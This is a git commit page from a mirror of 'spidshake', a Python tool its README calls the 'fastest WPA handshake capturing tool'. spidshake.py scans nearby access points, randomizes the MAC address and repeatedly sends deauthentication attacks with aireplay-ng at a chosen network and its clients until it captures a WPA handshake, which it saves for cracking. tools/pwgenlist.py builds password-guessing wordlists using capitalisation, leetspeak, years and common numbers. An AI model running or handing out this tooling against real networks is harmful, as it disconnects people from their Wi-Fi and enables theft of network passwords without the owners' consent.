mirror of
https://git.nogafam.es/nogafam/spidshake
synced 2024-11-10 07:31:42 +01:00
initial commit
This commit is contained in:
commit
1e594b939f
1
.gitignore
vendored
Normal file
1
.gitignore
vendored
Normal file
@ -0,0 +1 @@
|
||||
.*.swp
|
208
LICENSE
Normal file
208
LICENSE
Normal file
@ -0,0 +1,208 @@
|
||||
Apache License
|
||||
|
||||
Version 2.0, January 2004
|
||||
|
||||
http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION,
|
||||
AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction, and distribution
|
||||
as defined by Sections 1 through 9 of this document.
|
||||
|
||||
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by the copyright
|
||||
owner that is granting the License.
|
||||
|
||||
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all other entities
|
||||
that control, are controlled by, or are under common control with that entity.
|
||||
For the purposes of this definition, "control" means (i) the power, direct
|
||||
or indirect, to cause the direction or management of such entity, whether
|
||||
by contract or otherwise, or (ii) ownership of fifty percent (50%) or more
|
||||
of the outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity exercising permissions
|
||||
granted by this License.
|
||||
|
||||
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications, including
|
||||
but not limited to software source code, documentation source, and configuration
|
||||
files.
|
||||
|
||||
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical transformation
|
||||
or translation of a Source form, including but not limited to compiled object
|
||||
code, generated documentation, and conversions to other media types.
|
||||
|
||||
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or Object form,
|
||||
made available under the License, as indicated by a copyright notice that
|
||||
is included in or attached to the work (an example is provided in the Appendix
|
||||
below).
|
||||
|
||||
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object form,
|
||||
that is based on (or derived from) the Work and for which the editorial revisions,
|
||||
annotations, elaborations, or other modifications represent, as a whole, an
|
||||
original work of authorship. For the purposes of this License, Derivative
|
||||
Works shall not include works that remain separable from, or merely link (or
|
||||
bind by name) to the interfaces of, the Work and Derivative Works thereof.
|
||||
|
||||
|
||||
|
||||
"Contribution" shall mean any work of authorship, including the original version
|
||||
of the Work and any modifications or additions to that Work or Derivative
|
||||
Works thereof, that is intentionally submitted to Licensor for inclusion in
|
||||
the Work by the copyright owner or by an individual or Legal Entity authorized
|
||||
to submit on behalf of the copyright owner. For the purposes of this definition,
|
||||
"submitted" means any form of electronic, verbal, or written communication
|
||||
sent to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems, and
|
||||
issue tracking systems that are managed by, or on behalf of, the Licensor
|
||||
for the purpose of discussing and improving the Work, but excluding communication
|
||||
that is conspicuously marked or otherwise designated in writing by the copyright
|
||||
owner as "Not a Contribution."
|
||||
|
||||
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity on behalf
|
||||
of whom a Contribution has been received by Licensor and subsequently incorporated
|
||||
within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of this
|
||||
License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive,
|
||||
no-charge, royalty-free, irrevocable copyright license to reproduce, prepare
|
||||
Derivative Works of, publicly display, publicly perform, sublicense, and distribute
|
||||
the Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of this License,
|
||||
each Contributor hereby grants to You a perpetual, worldwide, non-exclusive,
|
||||
no-charge, royalty-free, irrevocable (except as stated in this section) patent
|
||||
license to make, have made, use, offer to sell, sell, import, and otherwise
|
||||
transfer the Work, where such license applies only to those patent claims
|
||||
licensable by such Contributor that are necessarily infringed by their Contribution(s)
|
||||
alone or by combination of their Contribution(s) with the Work to which such
|
||||
Contribution(s) was submitted. If You institute patent litigation against
|
||||
any entity (including a cross-claim or counterclaim in a lawsuit) alleging
|
||||
that the Work or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses granted to You
|
||||
under this License for that Work shall terminate as of the date such litigation
|
||||
is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the Work or
|
||||
Derivative Works thereof in any medium, with or without modifications, and
|
||||
in Source or Object form, provided that You meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or Derivative Works a copy
|
||||
of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices stating that
|
||||
You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works that You distribute,
|
||||
all copyright, patent, trademark, and attribution notices from the Source
|
||||
form of the Work, excluding those notices that do not pertain to any part
|
||||
of the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its distribution,
|
||||
then any Derivative Works that You distribute must include a readable copy
|
||||
of the attribution notices contained within such NOTICE file, excluding those
|
||||
notices that do not pertain to any part of the Derivative Works, in at least
|
||||
one of the following places: within a NOTICE text file distributed as part
|
||||
of the Derivative Works; within the Source form or documentation, if provided
|
||||
along with the Derivative Works; or, within a display generated by the Derivative
|
||||
Works, if and wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and do not modify the
|
||||
License. You may add Your own attribution notices within Derivative Works
|
||||
that You distribute, alongside or as an addendum to the NOTICE text from the
|
||||
Work, provided that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and may provide
|
||||
additional or different license terms and conditions for use, reproduction,
|
||||
or distribution of Your modifications, or for any such Derivative Works as
|
||||
a whole, provided Your use, reproduction, and distribution of the Work otherwise
|
||||
complies with the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise, any
|
||||
Contribution intentionally submitted for inclusion in the Work by You to the
|
||||
Licensor shall be under the terms and conditions of this License, without
|
||||
any additional terms or conditions. Notwithstanding the above, nothing herein
|
||||
shall supersede or modify the terms of any separate license agreement you
|
||||
may have executed with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade names,
|
||||
trademarks, service marks, or product names of the Licensor, except as required
|
||||
for reasonable and customary use in describing the origin of the Work and
|
||||
reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or agreed to
|
||||
in writing, Licensor provides the Work (and each Contributor provides its
|
||||
Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
|
||||
KIND, either express or implied, including, without limitation, any warranties
|
||||
or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR
|
||||
A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness
|
||||
of using or redistributing the Work and assume any risks associated with Your
|
||||
exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory, whether
|
||||
in tort (including negligence), contract, or otherwise, unless required by
|
||||
applicable law (such as deliberate and grossly negligent acts) or agreed to
|
||||
in writing, shall any Contributor be liable to You for damages, including
|
||||
any direct, indirect, special, incidental, or consequential damages of any
|
||||
character arising as a result of this License or out of the use or inability
|
||||
to use the Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all other commercial
|
||||
damages or losses), even if such Contributor has been advised of the possibility
|
||||
of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing the Work
|
||||
or Derivative Works thereof, You may choose to offer, and charge a fee for,
|
||||
acceptance of support, warranty, indemnity, or other liability obligations
|
||||
and/or rights consistent with this License. However, in accepting such obligations,
|
||||
You may act only on Your own behalf and on Your sole responsibility, not on
|
||||
behalf of any other Contributor, and only if You agree to indemnify, defend,
|
||||
and hold each Contributor harmless for any liability incurred by, or claims
|
||||
asserted against, such Contributor by reason of your accepting any such warranty
|
||||
or additional liability. END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following boilerplate
|
||||
notice, with the fields enclosed by brackets "[]" replaced with your own identifying
|
||||
information. (Don't include the brackets!) The text should be enclosed in
|
||||
the appropriate comment syntax for the file format. We also recommend that
|
||||
a file or class name and description of purpose be included on the same "printed
|
||||
page" as the copyright notice for easier identification within third-party
|
||||
archives.
|
||||
|
||||
Copyright [yyyy] [name of copyright owner]
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
|
||||
you may not use this file except in compliance with the License.
|
||||
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
|
||||
See the License for the specific language governing permissions and
|
||||
|
||||
limitations under the License.
|
3
README.md
Normal file
3
README.md
Normal file
@ -0,0 +1,3 @@
|
||||
# spidshake
|
||||
|
||||
Fastest WPA handshake capturing tool ever made
|
352
spidshake.py
Executable file
352
spidshake.py
Executable file
@ -0,0 +1,352 @@
|
||||
import xml.etree.ElementTree as ET
|
||||
import prettytable
|
||||
import subprocess
|
||||
import threading
|
||||
import argparse
|
||||
import time
|
||||
import xml
|
||||
import sys
|
||||
import os
|
||||
import re
|
||||
|
||||
# default values
|
||||
gaps = None
|
||||
TDIR = '/tmp/wcrack'
|
||||
TARGS = None
|
||||
TVARS = {
|
||||
'handshake': False
|
||||
}
|
||||
|
||||
def she(c,debug=False):
|
||||
try:
|
||||
return subprocess.check_output(c,shell=True).decode('utf8','ignore').strip()
|
||||
except Exception as e:
|
||||
if debug:
|
||||
print(str(e))
|
||||
return None
|
||||
|
||||
def main():
|
||||
# yes, we use a global variable
|
||||
# to get the program arguments
|
||||
global TARGS
|
||||
parser = argparse.ArgumentParser(description='The faster WPA Handshake capturer on Kali')
|
||||
parser.add_argument('--dry-run', action='store_true', help="Don't do deauth attacks, just show how it would run")
|
||||
parser.add_argument('-m', '--random-mac', action='store_true', help="Randomize your MAC address at start (keeping vendor bits)")
|
||||
parser.add_argument('-fa', '--force-attack', action='store_true', help="Deauths the AP before looking for connected clients")
|
||||
parser.add_argument('-f', '--force', action='store_true', help='Continue on program exceptions that might ocurr, but are not critical')
|
||||
parser.add_argument('-ex', '--exclude-conf', action='store_true', help="Exclude ESSIDs by regex reading /etc/spidshake/exclude.conf")
|
||||
reqgroup = parser.add_argument_group('required arguments')
|
||||
reqgroup.add_argument('-i','--interface', type=str, required=True, help="Interface on monitor mode to be used")
|
||||
parser.add_argument('-sm','--show-max', default=12, type=int, help="Maximum Access Points to display on screen")
|
||||
TARGS = parser.parse_args(sys.argv[1:])
|
||||
|
||||
# make the tmp dir
|
||||
os.system('mkdir -p {}'.format(TDIR))
|
||||
|
||||
# the netxml file to read
|
||||
apdata = []
|
||||
nxmlfile = '{}/airodump-01.kismet.netxml'.format(TDIR)
|
||||
|
||||
# start dumping ap data
|
||||
airodump_all()
|
||||
|
||||
def render_access_points(apdata):
|
||||
if len(apdata) > 0:
|
||||
tb = prettytable.PrettyTable(['CH','BSSID','PW','C','#','ESSID'])
|
||||
i = 0
|
||||
for ap in apdata:
|
||||
tb.add_row([ap['channel'], ap['bssid'][-8:], \
|
||||
ap['signal'], len(ap['clients']), i, ap['essid']])
|
||||
i += 1
|
||||
print(tb)
|
||||
|
||||
# show aps indefinetly
|
||||
li = 0
|
||||
while True:
|
||||
try:
|
||||
# get access point data
|
||||
apdata = get_ap_data(nxmlfile)
|
||||
|
||||
os.system('clear')
|
||||
render_access_points(apdata)
|
||||
time.sleep(0.5)
|
||||
li += 1
|
||||
|
||||
except KeyboardInterrupt:
|
||||
# if no access points, we quit
|
||||
if len(apdata) == 0:
|
||||
return 0
|
||||
|
||||
# select the desired AP
|
||||
os.system('clear')
|
||||
render_access_points(apdata)
|
||||
select = 0
|
||||
try:
|
||||
select = int(input('[[ Select AP index ]]: ').strip())
|
||||
except ValueError:
|
||||
continue
|
||||
|
||||
# if index is correct, start attacking
|
||||
if len(apdata) > 0 and select >= 0 and select < len(apdata):
|
||||
ap_attack(nxmlfile, apdata, select)
|
||||
airodump_all()
|
||||
|
||||
def randomize_mac():
|
||||
if TARGS.random_mac:
|
||||
os.system('ifconfig {} down'.format(TARGS.interface))
|
||||
# fully random macs don't usually work on deauthing, they are ignored
|
||||
# so we set a fully random mac, but leaving the vendor bits unchanged
|
||||
os.system('macchanger -r -e {} 2>&1 | tail -n1'.format(TARGS.interface))
|
||||
os.system('ifconfig {} up'.format(TARGS.interface))
|
||||
|
||||
# use airodump-ng to capture all APs in
|
||||
# netxml format (2.4GHZ support only, yet)
|
||||
def airodump_all():
|
||||
# yes, we kill all airodump-ng
|
||||
os.system('pkill -9 airodump-ng')
|
||||
os.system('rm {}/airodump* 2>/dev/null'.format(TDIR))
|
||||
os.system('airodump-ng {} -a -M -w {}/airodump --write-interval 1 --band a --output-format netxml --channel 1-14 -K 1 > /dev/null 2>&1 &'\
|
||||
.format(TARGS.interface, TDIR))
|
||||
|
||||
# use airodump-ng with bssid and channel config
|
||||
# to get clients and attack easier and faster
|
||||
# pcap format added to check handshakes
|
||||
def airodump_bssid(bssid,channel):
|
||||
# yes, we kill all airodump-ng
|
||||
os.system('pkill -9 airodump-ng')
|
||||
os.system('rm {}/airodump* 2>/dev/null'.format(TDIR))
|
||||
os.system("""
|
||||
airodump-ng {} --bssid {} -a -M -w {}/airodump --write-interval 1 --band a --cswitch 2 --output-format pcap,netxml --channel {} -K 1 > /dev/null 2>&1 &
|
||||
""".format(TARGS.interface, bssid, TDIR, channel))
|
||||
|
||||
# filter ap by bssid in aps
|
||||
def ap_get_by_bssid(aps, bssid):
|
||||
for ap in aps:
|
||||
if ap['bssid'] == bssid:
|
||||
return ap
|
||||
return None
|
||||
|
||||
# do the access point attack
|
||||
def ap_attack(f, aps, index):
|
||||
global thstop
|
||||
global atls
|
||||
hashake = False
|
||||
thstop = False
|
||||
thattack = None
|
||||
atls = []
|
||||
try:
|
||||
sap = aps[index]
|
||||
|
||||
# start capturing bssid traffic with specific channel
|
||||
airodump_bssid(sap['bssid'], sap['channel'])
|
||||
while True:
|
||||
try:
|
||||
# ap index will certainly change in our implementation
|
||||
# we need to search the new given aps to match bssid
|
||||
ap = aps[index]
|
||||
if ap['bssid'] != sap['bssid']:
|
||||
ap = ap_get_by_bssid(aps, sap['bssid'])
|
||||
except IndexError:
|
||||
ap = ap_get_by_bssid(aps, sap['bssid'])
|
||||
if ap is None:
|
||||
print('FATAL: cannot retrieve AP data!')
|
||||
return 1
|
||||
|
||||
# print the ap details and
|
||||
# the connnected clients
|
||||
os.system('clear')
|
||||
if (TARGS.force_attack and thattack is None) or (len(ap['clients']) > 0 and thattack is None):
|
||||
thattack = threading.Thread(target=ap_attack_do_clients)
|
||||
thattack.start()
|
||||
|
||||
print('>>>>>>>>')
|
||||
print('{}; channel: {}'.format(ap['essid'], ap['channel']))
|
||||
print('{}\t{}\t{}'.format(ap['bssid'], ap['signal'], ap['vendor']))
|
||||
for cli in ap['clients']:
|
||||
print('--¬ {}\t{}\t{}'.format(cli['mac'], cli['signal'], cli['vendor']))
|
||||
|
||||
# print attack info lines
|
||||
print()
|
||||
for l in atls:
|
||||
print(l)
|
||||
|
||||
# check for handshake
|
||||
if TVARS['handshake']:
|
||||
hsfile = 'hs/handshake_{}.cap'.format(sap['essid'])
|
||||
os.system('mkdir -p hs/')
|
||||
os.system("cp {}/airodump-01.cap '{}'".format(TDIR, hsfile))
|
||||
input('## handshake: YES / saved on {}'.format(hsfile))
|
||||
TVARS['handshake'] = False
|
||||
thstop = True
|
||||
return 0
|
||||
|
||||
# sleep and re-obtain, show handshake status
|
||||
print('## handshake: {}'.format('NO' if not TVARS['handshake'] else 'YES'))
|
||||
time.sleep(0.5)
|
||||
aps = get_ap_data(f)
|
||||
global gaps
|
||||
gaps = aps
|
||||
|
||||
# don't know why i did this, but works?
|
||||
while len(aps) == 0:
|
||||
aps = get_ap_data(f)
|
||||
time.sleep(0.5)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
thstop = True
|
||||
print('INFO: returing to ap listing')
|
||||
time.sleep(1)
|
||||
|
||||
# thread to attack clients and ap
|
||||
# while showing them in the main thread
|
||||
def ap_attack_do_clients():
|
||||
global thstop
|
||||
global gaps
|
||||
global atls
|
||||
atls = []
|
||||
hashake = False
|
||||
while True:
|
||||
if not gaps is None and not len(gaps) == 0:
|
||||
break
|
||||
time.sleep(0.5)
|
||||
if thstop:
|
||||
return 0
|
||||
|
||||
# explanation:
|
||||
# attack n times, each n seconds
|
||||
# @ An array of values
|
||||
times = [
|
||||
[1,6],
|
||||
[2,15],
|
||||
[2,20],
|
||||
[3,30],
|
||||
[3,45],
|
||||
[4,60]
|
||||
]
|
||||
|
||||
# do it all, baby
|
||||
for ti in times:
|
||||
gap = None
|
||||
if len(gaps) == 1:
|
||||
gap = gaps[0]
|
||||
if gap is None:
|
||||
print('FATAL: no access point or clients to attack')
|
||||
return 1
|
||||
|
||||
randomize_mac(); time.sleep(0.5)
|
||||
execrt('aireplay-ng --ignore-negative-one -0 {} -a {} {} 2>&1 &'.format( ti[0], gap['bssid'], TARGS.interface ))
|
||||
atls.append('== deauth {} broadcast => {}'.format(ti[0], gap['bssid']))
|
||||
for cl in gap['clients']:
|
||||
if cl['signal'] < 0:
|
||||
execrt('aireplay-ng --ignore-negative-one -0 {} -a {} -c {} --deauth-rc=2 {} 2>&1 &'.format(\
|
||||
ti[0], gap['bssid'], cl['mac'], TARGS.interface ))
|
||||
atls.append('== deauth {} client {} {}'.format(ti[0], cl['mac'], cl['vendor']))
|
||||
else:
|
||||
atls.append('== deauth client skip {} {}'.format(cl['mac'], cl['vendor']))
|
||||
i = 0
|
||||
while i < ti[1]:
|
||||
print('{}/{}'.format(i+1,ti[1]))
|
||||
if ap_check_has_handshake():
|
||||
TVARS['handshake'] = True
|
||||
return 2
|
||||
time.sleep(1)
|
||||
if thstop:
|
||||
return 0
|
||||
i += 1
|
||||
|
||||
atls.append('FATAL: Attack did not succeed')
|
||||
|
||||
def execrt(cmd):
|
||||
if not TARGS.dry_run:
|
||||
os.system(cmd)
|
||||
return 'X: {}'.format(cmd)
|
||||
|
||||
def ap_check_has_handshake():
|
||||
try:
|
||||
out = subprocess.check_output(\
|
||||
"aircrack-ng {}/airodump-01.cap 2>/dev/null | grep -o -P '\d+(?=\shandshake)'".format(TDIR), shell=True)\
|
||||
.decode('utf8','ignore').strip()
|
||||
return int(out) > 0
|
||||
except FileNotFoundError:
|
||||
return False
|
||||
except subprocess.CalledProcessError:
|
||||
return False
|
||||
|
||||
# get all access point data needed (including associated clients)
|
||||
def get_ap_data(f):
|
||||
|
||||
c = None
|
||||
try:
|
||||
c = open(f,'r').read()
|
||||
# sanitize xml (improper essids...)
|
||||
c = re.sub(r'(?<=\&\#[^\s])\s+(?=[^\s]+;)','',c)
|
||||
c = re.sub(r'\&\#[^;]+;','',c)
|
||||
root = ET.fromstring(c)
|
||||
except FileNotFoundError as e:
|
||||
return []
|
||||
except xml.etree.ElementTree.ParseError as e2:
|
||||
if TARGS.force:
|
||||
return []
|
||||
if not str(e2).startswith('no element found'):
|
||||
print(str(e2))
|
||||
sys.exit(1)
|
||||
return []
|
||||
|
||||
js = []
|
||||
|
||||
# iterate all network access points
|
||||
exclude = []
|
||||
if TARGS.exclude_conf:
|
||||
try:
|
||||
with open('/etc/spidshake/exclude.conf','r') as r:
|
||||
exclude = r.read().strip().splitlines()
|
||||
except FileNotFoundError:
|
||||
exclude = []
|
||||
def is_excluded(essid, exls):
|
||||
for reg in exls:
|
||||
if re.match(reg, essid):
|
||||
return True
|
||||
return False
|
||||
|
||||
for net in root.findall('wireless-network'):
|
||||
if net.find('SSID'):
|
||||
item = {
|
||||
'essid': net.find('SSID').find('essid').text,
|
||||
'bssid': net.find('BSSID').text,
|
||||
'vendor': net.find('manuf').text,
|
||||
'channel': int(net.find('channel').text),
|
||||
'beacons': int(net.find('SSID').find('packets').text),
|
||||
'enctypes': [it.text for it in net.find('SSID').findall('encryption')],
|
||||
'signal': int(net.find('snr-info').find('last_signal_dbm').text),
|
||||
'clients': [],
|
||||
}
|
||||
|
||||
if len(item['enctypes']) == 1 and item['enctypes'][0] == 'None':
|
||||
continue
|
||||
|
||||
for cli in net.findall('wireless-client'):
|
||||
client = {
|
||||
'mac': cli.find('client-mac').text,
|
||||
'vendor': cli.find('client-manuf').text,
|
||||
'channel': int(cli.find('channel').text),
|
||||
'signal': int(cli.find('snr-info').find('last_signal_dbm').text),
|
||||
}
|
||||
item['clients'].append(client)
|
||||
item['clients'] = sorted(item['clients'], key=lambda x: x['signal'], reverse=True)
|
||||
|
||||
if not item['essid'] is None:
|
||||
if not TARGS.exclude_conf or not is_excluded(item['essid'], exclude):
|
||||
js.append(item)
|
||||
|
||||
# order them by signal (dBm)
|
||||
js = sorted(js, key=lambda x: x['signal'], reverse=True)
|
||||
if len(js) > TARGS.show_max:
|
||||
return js[:TARGS.show_max]
|
||||
return js
|
||||
|
||||
if __name__ == '__main__':
|
||||
try:
|
||||
main()
|
||||
os.system('pkill -9 airodump-ng')
|
||||
except KeyboardInterrupt:
|
||||
print('INFO: aborted')
|
152
tools/pwgenlist.py
Executable file
152
tools/pwgenlist.py
Executable file
@ -0,0 +1,152 @@
|
||||
import itertools
|
||||
import argparse
|
||||
import datetime
|
||||
import sys
|
||||
import os
|
||||
import re
|
||||
|
||||
def main():
|
||||
# argparse ftw
|
||||
parser = argparse.ArgumentParser(description='Easiest WPA password generator')
|
||||
reqgroup = parser.add_argument_group('required arguments')
|
||||
reqgroup.add_argument('-i','--input', required=True, type=str, nargs='+', metavar='FOO,BAR', help="Comma separated strings of possible combinations. Ex: -i foo,bar raw,nobar")
|
||||
parser.add_argument('-s', '--symbols', action='store_true', help="Include common symbols on common places")
|
||||
parser.add_argument('-n', '--numbers', action='store_true', help="Include common numbers on the common places (such as 2018, 123, 12345)")
|
||||
parser.add_argument('-l', '--level', type=int, default=1, choices=(1,2,3), metavar='N', help="Password level of complexity, 1 = only lower+upper, 2 = lower+upper+capital, 3 = lower+upper+capital+hackerize")
|
||||
parser.add_argument('-o', '--output', type=str, metavar='OUT', help="Output file where to save the wordlist (default: stdout)")
|
||||
args = parser.parse_args(sys.argv[1:])
|
||||
|
||||
wf = None
|
||||
ostd = sys.stdout
|
||||
if not args.output is None:
|
||||
wf = open(args.output, 'w')
|
||||
sys.stdout = wf
|
||||
generate_wordlist(args)
|
||||
if not wf is None:
|
||||
sys.stdout = ostd
|
||||
wf.close()
|
||||
|
||||
# main generator function
|
||||
# basically, every print(something) will be saved to
|
||||
# either the output file, or the stdout
|
||||
def generate_wordlist(args):
|
||||
def rnd_symbols(w):
|
||||
for r in '@$?%&#':
|
||||
if '@' in w:
|
||||
print(w.replace('@',r))
|
||||
for it in args.input:
|
||||
pms = []
|
||||
bcs = []
|
||||
for word in it.split(','):
|
||||
bcs.append(generate_base_words(word, args.level))
|
||||
nums = get_common_numbers() + get_lastnyears(20) + get_numrange(100)
|
||||
for it in itertools.product(*bcs):
|
||||
it = list(it)
|
||||
opts = []
|
||||
for cit in itertools.permutations(it,len(it)):
|
||||
opts.append(cit)
|
||||
if args.symbols or args.numbers:
|
||||
oit = it.copy()
|
||||
if args.numbers:
|
||||
li = oit.copy()
|
||||
li.append('#'); it.append('#')
|
||||
for cit in itertools.permutations(li,len(li)):
|
||||
opts.append(cit)
|
||||
if args.symbols:
|
||||
li = oit.copy()
|
||||
li.append('@'); it.append('@')
|
||||
for cit in itertools.permutations(li,len(li)):
|
||||
opts.append(cit)
|
||||
for cit in itertools.permutations(it,len(it)):
|
||||
opts.append(cit)
|
||||
opts = sorted(set(opts))
|
||||
for it in opts:
|
||||
cit = ''.join(it)
|
||||
if '#' in it:
|
||||
for n in nums:
|
||||
cc = cit
|
||||
cc = cc.replace('#',str(n))
|
||||
print(cc.replace('@',''))
|
||||
rnd_symbols(cc)
|
||||
if '@' in it and not '#' in it:
|
||||
rnd_symbols(cit)
|
||||
|
||||
# gets combinations with replacement
|
||||
# of 0,1 for the given word, to replace later
|
||||
def true_false_combinations(word):
|
||||
a = False; pm = []
|
||||
for c in word:
|
||||
a = not a; pm.append(not a)
|
||||
return itertools.combinations_with_replacement(pm,len(word))
|
||||
|
||||
# generate base words for given word,
|
||||
# with the given complexity level
|
||||
def generate_base_words(word, clevel):
|
||||
bc = []
|
||||
bc.append(word.lower())
|
||||
bc.append(word.upper())
|
||||
if clevel >= 2:
|
||||
bc += generate_all_capitalizations(word)
|
||||
if clevel >= 3:
|
||||
nw = []
|
||||
for b in bc:
|
||||
nw += generate_all_hackerization(b)
|
||||
nw = sorted(set(nw))
|
||||
bc += nw
|
||||
return sorted(set(bc))
|
||||
|
||||
# generate all possibilities with capital letters
|
||||
# with the given word, combining all with replacements
|
||||
def generate_all_capitalizations(word):
|
||||
rs = []
|
||||
for bls in true_false_combinations(word):
|
||||
w = word.lower(); i = 0
|
||||
for b in bls:
|
||||
if b:
|
||||
w = w[:i] + w[i].upper() + w[i+1:]
|
||||
i += 1
|
||||
rs.append(w)
|
||||
return sorted(set(rs))
|
||||
|
||||
# generate all hackerization possibilities with given word
|
||||
# hackerization means replacing: A = 4, S = 5, E = 3, I = 1
|
||||
def generate_all_hackerization(word):
|
||||
def hackerize(c):
|
||||
cl = c.lower()
|
||||
mp = {'a':4,'s':5,'e':3,'i':1,'o':0}
|
||||
return str(mp[cl]) if cl in mp else c
|
||||
rs = []
|
||||
for bls in true_false_combinations(word):
|
||||
w = word; i = 0
|
||||
for b in bls:
|
||||
if b:
|
||||
w = w[:i] + hackerize(w[i]) + w[i+1:]
|
||||
i += 1
|
||||
rs.append(w)
|
||||
return rs
|
||||
|
||||
# common numbers used on password
|
||||
def get_common_numbers():
|
||||
return ['123','1234','135','12345','123456','1234567890','098','09876','0987654321']
|
||||
|
||||
# get the last N years in time
|
||||
def get_lastnyears(n):
|
||||
y = datetime.datetime.now().year
|
||||
ys = []
|
||||
ys.append(y+1)
|
||||
for i in range(0,n):
|
||||
ys.append(y-i)
|
||||
return ys
|
||||
|
||||
# get a number range from 0
|
||||
def get_numrange(ln):
|
||||
ns = []
|
||||
for i in range(0,ln):
|
||||
ns.append(i)
|
||||
return ns
|
||||
|
||||
if __name__ == '__main__':
|
||||
try:
|
||||
main()
|
||||
except BrokenPipeError:
|
||||
pass
|
Loading…
Reference in New Issue
Block a user